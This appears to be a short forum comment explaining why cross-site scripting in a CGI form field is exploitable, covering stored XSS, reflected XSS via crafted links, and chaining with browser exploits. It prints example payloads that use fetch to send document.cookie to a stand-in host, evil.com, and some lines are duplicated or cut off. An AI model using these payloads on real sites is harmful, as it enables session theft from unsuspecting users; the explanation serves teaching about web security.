if you can prefill the form field with post parameters and send that URL to someone else, then you can steal their login cookies etc. Even though the same user

if you can prefill the form field with post parameters and send that URL to someone else, then you can steal their login cookies etc. Even though the same user who submits the input sees the response, XSS can be exploited: 1. stored XSS (input is saved and later displayed) Input is stored in a DB or a file and later displayed on the webpage, any future user viewing that page would also execute the malicious script. Example: attacker submits <script>fetch('http://evil.com/steal?cookie= http://evil.com/steal?cookie=' + document.cookie)</script>. If this is stored and later displayed, it will run for all users. 2. Immediate XSS If you can trick another user into clicking a malicious link containing the script, it will execute in their browser. Eg.: https://example.com/cgi-script?name=<script>fetch('http://evil.com/steal?cookie='+document.cookie)</script> https://example.com/cgi-script?name=<script>fetch('http://ev... If the CGI script prints this without sanitization, the victim's browser executes the script, jackpot you get their session cookies. 3. Browser Exploits And for all of the above, you could use an XSS payload with a 0 day browser exploit to gain whatever privileges.